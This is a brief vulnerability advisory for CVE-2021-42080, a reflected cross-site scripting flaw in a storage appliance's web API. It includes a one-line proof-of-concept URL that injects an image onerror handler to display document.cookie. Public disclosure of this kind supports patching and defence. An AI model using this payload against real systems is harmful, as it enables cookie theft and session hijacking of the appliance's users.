CVE-2021-42080

Summary

An attacker is able to launch a Reflected XSS attack using a crafted URL.

POC:

Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

Affected Software

Weaknesses

• CWE-79: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

ADP Enrichment

CVE Program Container

Additional References

• https://www.wbsec.nl/osnexus
• https://www.divd.nl/DIVD-2021-00020
• https://www.osnexus.com/products/software-defined-storage
• https://csirt.divd.nl/CVE-2021-42080

CISA ADP Vulnrichment

• SSVC:
• Exploitation: none
  • Automatable: no
  • Technical Impact: partial

References

• https://www.wbsec.nl/osnexus
• https://csirt.divd.nl/DIVD-2021-00020/
• https://www.osnexus.com/products/software-defined-storage
• https://csirt.divd.nl/CVE-2021-42080

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